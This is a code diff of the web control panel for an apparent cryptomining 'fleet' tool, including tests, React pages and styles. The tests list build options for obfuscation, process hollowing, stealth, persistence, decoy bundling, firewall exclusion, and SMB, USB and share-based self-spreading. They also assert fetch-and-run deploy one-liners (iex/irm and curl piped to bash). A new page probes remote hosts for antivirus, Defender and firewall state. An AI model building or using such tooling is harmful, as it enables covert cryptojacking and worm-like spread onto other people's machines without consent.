for (const step of SETUP_CHEATSHEET) {
|
||||
expect(step.title.trim().length).toBeGreaterThan(0);
|
||||
expect(step.body.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
});
|
||||
|
||||
it('mentions key workflow concepts in bodies', () => {
|
||||
const bodies = SETUP_CHEATSHEET.map((s) => s.body).join(' ');
|
||||
expect(bodies).toContain('Calibrate');
|
||||
expect(bodies).toContain('Forge');
|
||||
expect(bodies).toContain('Command Deck');
|
||||
expect(bodies).toContain('Fleet Roster');
|
||||
});
|
||||
});
|
||||
|
||||
describe('FIELD_HELP', () => {
|
||||
const expectedKeys = [
|
||||
'calibrate_wallet',
|
||||
'calibrate_quick_setup',
|
||||
'forge_simple_mode',
|
||||
'forge_recommended_defaults',
|
||||
'obfuscate',
|
||||
'sign_build',
|
||||
'obfuscate_default',
|
||||
'sign_enabled',
|
||||
'sign_cert_thumbprint',
|
||||
'sign_tool_path',
|
||||
'sign_timestamp_url',
|
||||
'worker_name',
|
||||
'server_url',
|
||||
'output_dir',
|
||||
'wallet',
|
||||
'pool_host',
|
||||
'pool_port',
|
||||
'pool_tls',
|
||||
'pool_pass',
|
||||
'threads',
|
||||
'thread_mode',
|
||||
'thread_percent',
|
||||
'max_cpu_usage_pct',
|
||||
'max_memory_percent',
|
||||
'min_free_ram_mb',
|
||||
'cpu_priority',
|
||||
'mining_mode',
|
||||
'idle_threshold_pct',
|
||||
'idle_duration_minutes',
|
||||
'schedule_start',
|
||||
'schedule_end',
|
||||
'display_mode',
|
||||
'process_name',
|
||||
'persistence',
|
||||
'run_as',
|
||||
'silent_mode',
|
||||
'auto_start',
|
||||
'fusion_enabled',
|
||||
'fusion_run_order',
|
||||
'fusion_prep',
|
||||
'fusion_media_mode',
|
||||
'fusion_output_name',
|
||||
'fusion_batch',
|
||||
'install_base',
|
||||
'install_custom_base',
|
||||
'install_relative_path',
|
||||
'public_url',
|
||||
'websocket_ping_seconds',
|
||||
'log_pool_traffic',
|
||||
'adapt_to_hardware',
|
||||
'self_healing',
|
||||
'firewall_exclusion',
|
||||
'open_firewall_on_start',
|
||||
'file_logging',
|
||||
'stealth_mode',
|
||||
'ai_enabled',
|
||||
'ai_ollama_endpoint',
|
||||
'ai_model',
|
||||
'process_hollowing',
|
||||
'mesh_p2p',
|
||||
'auto_spread',
|
||||
'usb_spread',
|
||||
'share_spread',
|
||||
'hole_punch',
|
||||
'remote_aggressive',
|
||||
'target_os',
|
||||
'target_arch',
|
||||
'spread_kit',
|
||||
'forge_deliverable',
|
||||
] as const;
|
||||
|
||||
it('defines help text for every documented field key', () => {
|
||||
expect(Object.keys(FIELD_HELP).sort()).toEqual([...expectedKeys].sort());
|
||||
});
|
||||
|
||||
it('each help entry is a non-empty string', () => {
|
||||
for (const key of expectedKeys) {
|
||||
const text = FIELD_HELP[key];
|
||||
expect(typeof text).toBe('string');
|
||||
expect(text.trim().length).toBeGreaterThan(10);
|
||||
}
|
||||
});
|
||||
|
||||
it('wallet and server_url entries warn against localhost', () => {
|
||||
expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i);
|
||||
expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i);
|
||||
expect(FIELD_HELP.public_url).toMatch(/not localhost/i);
|
||||
});
|
||||
|
||||
it('fusion entries describe decoy bundling', () => {
|
||||
expect(FIELD_HELP.fusion_enabled).toContain('Fuse the miner');
|
||||
expect(FIELD_HELP.fusion_prep).toContain('decoy');
|
||||
expect(FIELD_HELP.fusion_run_order).toContain('Parallel');
|
||||
});
|
||||
|
||||
it('advanced spread entries describe lateral/USB/share behavior', () => {
|
||||
expect(FIELD_HELP.auto_spread).toContain('SMB');
|
||||
expect(FIELD_HELP.usb_spread).toContain('USB');
|
||||
expect(FIELD_HELP.share_spread).toContain('share');
|
||||
});
|
||||
});
|
||||
215
server/web/src/pages/AgentsPage.test.tsx
Normal file
215
server/web/src/pages/AgentsPage.test.tsx
Normal file
@@ -0,0 +1,215 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import AgentsPage from './AgentsPage';
|
||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
|
||||
const useWebSocketMock = vi.mocked(useWebSocket);
|
||||
|
||||
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
||||
return {
|
||||
isConnected: false,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderAgentsPage() {
|
||||
return render(<AgentsPage />);
|
||||
}
|
||||
|
||||
describe('AgentsPage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
useWebSocketMock.mockReturnValue(wsValue());
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'getAgentStats').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getAgentLog').mockResolvedValue({ agent_id: 'x', content: 'log line' });
|
||||
vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
|
||||
success: true,
|
||||
agent: mockAgent({ notes: 'saved note', tags: ['rack-a'] }),
|
||||
});
|
||||
vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
|
||||
success: true,
|
||||
sent: 1,
|
||||
failed: 0,
|
||||
action: 'restart',
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders page heading and quick deploy labels', async () => {
|
||||
renderAgentsPage();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
|
||||
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('One-liner Quick Deploy')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('Install & run (auto-launches)')).toBeInTheDocument();
|
||||
expect(screen.getByText('Direct download only (saves file)')).toBeInTheDocument();
|
||||
expect(screen.getAllByText('Windows')).toHaveLength(2);
|
||||
expect(screen.getByText('Linux/Mac')).toBeInTheDocument();
|
||||
expect(screen.getByText('macOS')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('builds quick deploy URLs from server info', async () => {
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getAllByText(`iex (irm '${mockServerInfo.suggested_url}/install.ps1')`)).toHaveLength(1);
|
||||
});
|
||||
expect(screen.getByText(`curl -sL ${mockServerInfo.suggested_url}/install.sh | bash`)).toBeInTheDocument();
|
||||
expect(screen.getByText(`${mockServerInfo.suggested_url}/get?os=windows`)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows loading then empty multi-OS state', async () => {
|
||||
renderAgentsPage();
|
||||
expect(screen.getByText('Scanning network...')).toBeInTheDocument();
|
||||
expect(await screen.findByText('No agents registered')).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(/Deploy a worker to any machine \(Windows, Linux, or macOS\)/)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('surfaces listAgents load errors', async () => {
|
||||
vi.spyOn(api, 'listAgents').mockRejectedValue(new Error('API unavailable'));
|
||||
renderAgentsPage();
|
||||
expect(await screen.findByText('API unavailable')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('lists agents and opens detail panel with section headings', async () => {
|
||||
const agent = mockAgent({ name: 'Rack B Miner', notes: 'basement', tags: ['home'] });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Rack B Miner')).toBeInTheDocument();
|
||||
});
|
||||
await userEvent.setup().click(screen.getByText('Rack B Miner'));
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { level: 2, name: 'Rack B Miner' })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('Notes & Tags')).toBeInTheDocument();
|
||||
expect(screen.getByText('Hashrate')).toBeInTheDocument();
|
||||
expect(screen.getByText('Shares')).toBeInTheDocument();
|
||||
expect(screen.getByText('Remote Control')).toBeInTheDocument();
|
||||
expect(api.getAgentStats).toHaveBeenCalledWith(agent.id, 60);
|
||||
});
|
||||
|
||||
it('preserves notes draft while typing until agent switch', async () => {
|
||||
const a1 = mockAgent({ id: 'a1', name: 'Node One', notes: 'note one' });
|
||||
const a2 = mockAgent({ id: 'a2', name: 'Node Two', notes: 'note two' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Node One')).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
await user.click(screen.getByText('Node One'));
|
||||
const detail = await screen.findByRole('heading', { level: 2, name: 'Node One' });
|
||||
const panel = detail.closest('.agent-detail') as HTMLElement;
|
||||
const notes = within(panel).getByPlaceholderText('Notes about this machine…') as HTMLTextAreaElement;
|
||||
await waitFor(() => expect(notes.value).toBe('note one'));
|
||||
await user.clear(notes);
|
||||
await user.type(notes, 'typing in progress');
|
||||
expect(notes.value).toBe('typing in progress');
|
||||
await user.click(screen.getByText('Node Two'));
|
||||
await waitFor(() => expect(notes.value).toBe('note two'));
|
||||
});
|
||||
|
||||
it('saves notes and tags via API', async () => {
|
||||
const agent = mockAgent({ id: 'save-me', name: 'Save Target' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
const updateSpy = vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
|
||||
success: true,
|
||||
agent: { ...agent, notes: 'Living room PC', tags: ['living-room'] },
|
||||
});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Save Target')).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
await user.click(screen.getByText('Save Target'));
|
||||
const detail = await screen.findByRole('heading', { level: 2, name: 'Save Target' });
|
||||
const panel = detail.closest('.agent-detail') as HTMLElement;
|
||||
const notes = within(panel).getByPlaceholderText('Notes about this machine…');
|
||||
await user.clear(notes);
|
||||
await user.type(notes, 'Living room PC');
|
||||
const tags = within(panel).getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
|
||||
await user.clear(tags);
|
||||
await user.type(tags, 'living-room, rack-b');
|
||||
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
|
||||
await waitFor(() => {
|
||||
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
|
||||
});
|
||||
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('alerts when bulk action has no online agents', async () => {
|
||||
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([offline]);
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Offline Node')).toBeInTheDocument());
|
||||
const list = screen.getByText('Offline Node').closest('.agents-list') as HTMLElement;
|
||||
await userEvent.setup().click(within(list).getByRole('checkbox'));
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => {
|
||||
expect(alertSpy).toHaveBeenCalledWith('No online agents in selection.');
|
||||
});
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('alerts when bulk command API fails', async () => {
|
||||
const agent = mockAgent({ name: 'Online One' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('bulk failed'));
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Online One')).toBeInTheDocument());
|
||||
const list = screen.getByText('Online One').closest('.agents-list') as HTMLElement;
|
||||
await userEvent.setup().click(within(list).getByRole('checkbox'));
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => {
|
||||
expect(alertSpy).toHaveBeenCalledWith('bulk failed');
|
||||
});
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('syncs agents from websocket when connected', async () => {
|
||||
const restAgent = mockAgent({ id: 'rest', name: 'REST Name', hashrate_15m: 100 });
|
||||
vi.spyOn(api, 'listAgents').mockImplementation(
|
||||
() => new Promise((resolve) => setTimeout(() => resolve([restAgent]), 50))
|
||||
);
|
||||
const liveAgent = mockAgent({ id: 'rest', name: 'Live Name', hashrate_15m: 999 });
|
||||
useWebSocketMock.mockReturnValue(wsValue({ isConnected: true, agents: [liveAgent] }));
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Live Name')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.queryByText('REST Name')).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows filter empty hint when no agents match', async () => {
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent({ name: 'Hidden', tags: ['prod'] })]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Hidden')).toBeInTheDocument());
|
||||
const search = screen.getByPlaceholderText('Search name, IP, notes, tags…');
|
||||
await userEvent.setup().type(search, 'nomatchxyz');
|
||||
expect(screen.getByText('No agents match filters.')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
||||
@@ -93,13 +93,25 @@ export default function AgentsPage() {
|
||||
const [tagsDraft, setTagsDraft] = useState('');
|
||||
const [metaSaving, setMetaSaving] = useState(false);
|
||||
const [metaMsg, setMetaMsg] = useState('');
|
||||
const isConnectedRef = useRef(isConnected);
|
||||
isConnectedRef.current = isConnected;
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api.listAgents()
|
||||
.then(setAgents)
|
||||
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
|
||||
.finally(() => setLoading(false));
|
||||
.then((data) => {
|
||||
if (!cancelled && !isConnectedRef.current) setAgents(data);
|
||||
})
|
||||
.catch((err) => {
|
||||
if (!cancelled) setLoadError(err instanceof Error ? err.message : 'Failed to load agents');
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -214,6 +226,7 @@ export default function AgentsPage() {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
alert(err instanceof Error ? err.message : 'Bulk command failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
|
||||
@@ -150,10 +150,82 @@
|
||||
margin-top: 1px;
|
||||
}
|
||||
|
||||
.cn-badges {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.25rem;
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
.cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); }
|
||||
.cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); }
|
||||
.cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
|
||||
|
||||
.cn-posture {
|
||||
font-size: 0.68rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.04em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.cn-posture.posture-good { color: var(--neon-green); background: rgba(57,255,20,0.1); }
|
||||
.cn-posture.posture-warn { color: var(--neon-amber); background: rgba(255,176,32,0.12); }
|
||||
.cn-posture.posture-bad { color: #ff4466; background: rgba(255,68,102,0.12); }
|
||||
.cn-posture.posture-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
|
||||
|
||||
.cn-patch {
|
||||
font-size: 0.65rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); }
|
||||
.cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
|
||||
.cn-elevated {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
color: var(--neon-magenta);
|
||||
background: rgba(255,45,166,0.12);
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
|
||||
/* ── Pending-updates badge ─────────────────────────────────────────────────── */
|
||||
.cn-upd {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.cn-upd.upd-ok { color: #00ff88; background: rgba(0,255,136,0.08); }
|
||||
.cn-upd.upd-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
.cn-upd.upd-bad { color: #ff4444; background: rgba(255,68,68,0.12); font-weight: 700; }
|
||||
.cn-upd.upd-unk { color: #888; background: rgba(128,128,128,0.08); }
|
||||
|
||||
/* ── Reboot-pending badge ──────────────────────────────────────────────────── */
|
||||
.cn-reboot {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.cn-reboot.rb-pending {
|
||||
color: #ff2222;
|
||||
background: rgba(255,34,34,0.15);
|
||||
font-weight: 700;
|
||||
animation: rb-blink 1.4s step-end infinite;
|
||||
}
|
||||
@keyframes rb-blink {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.45; }
|
||||
}
|
||||
|
||||
/* ── Row: Groups + Actions ───────────────────────────────────────────── */
|
||||
|
||||
.crucible-row {
|
||||
|
||||
@@ -45,6 +45,57 @@ function sshBadge(agent: Agent) {
|
||||
return { label: 'SSH ?', cls: 'ssh-unk' };
|
||||
}
|
||||
|
||||
function postureBadge(score?: number) {
|
||||
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
|
||||
if (score >= 80) return { label: `P:${score}`, cls: 'posture-good' };
|
||||
if (score >= 40) return { label: `P:${score}`, cls: 'posture-warn' };
|
||||
return { label: `P:${score}`, cls: 'posture-bad' };
|
||||
}
|
||||
|
||||
function patchLabel(days?: number) {
|
||||
if (days === undefined) return null;
|
||||
return { label: `${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
|
||||
}
|
||||
|
||||
function postureTooltip(agent: Agent): string {
|
||||
const lines: string[] = [];
|
||||
const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?';
|
||||
const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?';
|
||||
|
||||
lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`);
|
||||
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
|
||||
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
|
||||
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
|
||||
lines.push('──────────────────────');
|
||||
|
||||
// Patch exposure
|
||||
if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`);
|
||||
else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`);
|
||||
if (agent.pending_updates !== undefined) {
|
||||
const u = agent.pending_updates;
|
||||
lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u} ⚠`}`);
|
||||
}
|
||||
if (agent.reboot_pending !== undefined) {
|
||||
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
|
||||
}
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
function pendingBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
const u = agent.pending_updates;
|
||||
if (u === undefined) return null;
|
||||
if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' };
|
||||
if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' };
|
||||
if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' };
|
||||
return { label: `${u} UPD`, cls: 'upd-bad' };
|
||||
}
|
||||
|
||||
function rebootBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
if (agent.reboot_pending === undefined) return null;
|
||||
if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
|
||||
return null; // no badge when not pending — cleaner UI
|
||||
}
|
||||
|
||||
function platformIcon(platform?: string): string {
|
||||
if (!platform) return '⬡';
|
||||
const p = platform.toLowerCase();
|
||||
@@ -99,8 +150,9 @@ export default function CruciblePage() {
|
||||
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
|
||||
const [histIdx, setHistIdx] = useState(-1);
|
||||
|
||||
// SSH status overrides (from probe results)
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
const selectedAgents = useMemo(
|
||||
@@ -128,20 +180,35 @@ export default function CruciblePage() {
|
||||
for (const r of newEntries) {
|
||||
const aid = r.agent_id;
|
||||
if (!aid) continue;
|
||||
// Only show results from agents that are selected (or all if nothing selected)
|
||||
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
|
||||
const agent = agents.find((a) => a.id === aid);
|
||||
const name = agent?.name ?? aid.slice(0, 8);
|
||||
|
||||
// Parse SSH probe results to update ssh status
|
||||
const msg = r.message ?? '';
|
||||
// Always update badges from probe / heartbeat command responses
|
||||
if (msg.includes('SSH_PROBE:ONLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||||
}
|
||||
if (r.action === 'posture' || msg.includes('{')) {
|
||||
try {
|
||||
const start = msg.indexOf('{');
|
||||
if (start >= 0) {
|
||||
const p = JSON.parse(msg.slice(start)) as { posture_score?: number; last_patch_days?: number; ssh_listening?: boolean };
|
||||
if (typeof p.posture_score === 'number') {
|
||||
setPostureOverride((prev) => ({
|
||||
...prev,
|
||||
[aid]: { score: p.posture_score!, patchDays: p.last_patch_days },
|
||||
}));
|
||||
}
|
||||
if (p.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
if (p.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||||
}
|
||||
} catch { /* ignore malformed JSON */ }
|
||||
}
|
||||
|
||||
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
|
||||
const agent = agents.find((a) => a.id === aid);
|
||||
const name = agent?.name ?? aid.slice(0, 8);
|
||||
|
||||
// Split multi-line output
|
||||
const msgLines = msg.split('\n').filter(Boolean);
|
||||
for (const line of msgLines) {
|
||||
lines.push({
|
||||
@@ -258,6 +325,28 @@ export default function CruciblePage() {
|
||||
}
|
||||
};
|
||||
|
||||
const probePosture = (targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
Promise.all(
|
||||
tgts.map((a) =>
|
||||
api.sendAgentCommand(a.id, 'posture').catch((err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: a.id,
|
||||
agentName: a.name,
|
||||
isCmd: false,
|
||||
text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(),
|
||||
success: false,
|
||||
},
|
||||
]);
|
||||
})
|
||||
)
|
||||
);
|
||||
};
|
||||
|
||||
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||
if (e.key === 'Enter') { sendCmd(); return; }
|
||||
if (e.key === 'ArrowUp') {
|
||||
@@ -282,6 +371,13 @@ export default function CruciblePage() {
|
||||
return sshBadge({ ...a });
|
||||
};
|
||||
|
||||
const postureStatus = (a: Agent) => {
|
||||
const o = postureOverride[a.id];
|
||||
const score = o?.score ?? a.posture_score;
|
||||
const patchDays = o?.patchDays ?? a.last_patch_days;
|
||||
return { ...postureBadge(score), patch: patchLabel(patchDays) };
|
||||
};
|
||||
|
||||
// ── Render ─────────────────────────────────────────────────────────────
|
||||
|
||||
return (
|
||||
@@ -319,6 +415,7 @@ export default function CruciblePage() {
|
||||
const sel = selectedIds.has(a.id);
|
||||
const isOn = online(a);
|
||||
const ssh = sshStatus(a);
|
||||
const posture = postureStatus(a);
|
||||
const color = agentColor(a.id, allIds);
|
||||
return (
|
||||
<div
|
||||
@@ -345,7 +442,36 @@ export default function CruciblePage() {
|
||||
<span>{a.cpu_cores}c</span>
|
||||
<span>{formatHashrate(a.hashrate_15m)}</span>
|
||||
</div>
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div className="cn-badges">
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div
|
||||
className={`cn-posture ${posture.cls}`}
|
||||
title={postureTooltip(a)}
|
||||
>
|
||||
{posture.label}
|
||||
</div>
|
||||
{posture.patch && (
|
||||
<div
|
||||
className={`cn-patch ${posture.patch.cls}`}
|
||||
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)`}
|
||||
>
|
||||
{posture.patch.label}
|
||||
</div>
|
||||
)}
|
||||
{(() => { const pb = pendingBadge(a); return pb && (
|
||||
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
|
||||
{pb.label}
|
||||
</div>
|
||||
); })()}
|
||||
{(() => { const rb = rebootBadge(a); return rb && (
|
||||
<div className={`cn-reboot ${rb.cls}`} title="System reboot required to apply updates">
|
||||
{rb.label}
|
||||
</div>
|
||||
); })()}
|
||||
{a.agent_elevated && (
|
||||
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
@@ -393,6 +519,26 @@ export default function CruciblePage() {
|
||||
<span className="section-ornament">◆</span> OPERATIONS
|
||||
</div>
|
||||
<div className="crucible-ops">
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Posture</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => probePosture()}
|
||||
title="Probe selected: AV, RTP, firewall (per-profile), SSH, patch age, elevation"
|
||||
>
|
||||
Probe Selected
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn crucible-op-wake"
|
||||
disabled={agents.filter(online).length === 0}
|
||||
onClick={() => probePosture(agents.filter(online))}
|
||||
title="Probe ALL online nodes at once"
|
||||
>
|
||||
⚡ Probe All
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">SSH</span>
|
||||
<button
|
||||
|
||||
190
server/web/src/pages/DashboardPage.test.tsx
Normal file
190
server/web/src/pages/DashboardPage.test.tsx
Normal file
@@ -0,0 +1,190 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import DashboardPage, { formatShareTime } from './DashboardPage';
|
||||
import { mockAgent, mockShare } from '../test/fixtures';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('../components/Visual/3D/FleetTopologyMap', () => ({
|
||||
default: () => <div data-testid="fleet-topology-map" />,
|
||||
}));
|
||||
|
||||
vi.mock('../components/Visual/MatrixStreamOverlay', () => ({
|
||||
default: () => null,
|
||||
}));
|
||||
|
||||
const useWebSocketMock = vi.mocked(useWebSocket);
|
||||
|
||||
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
||||
return {
|
||||
isConnected: true,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
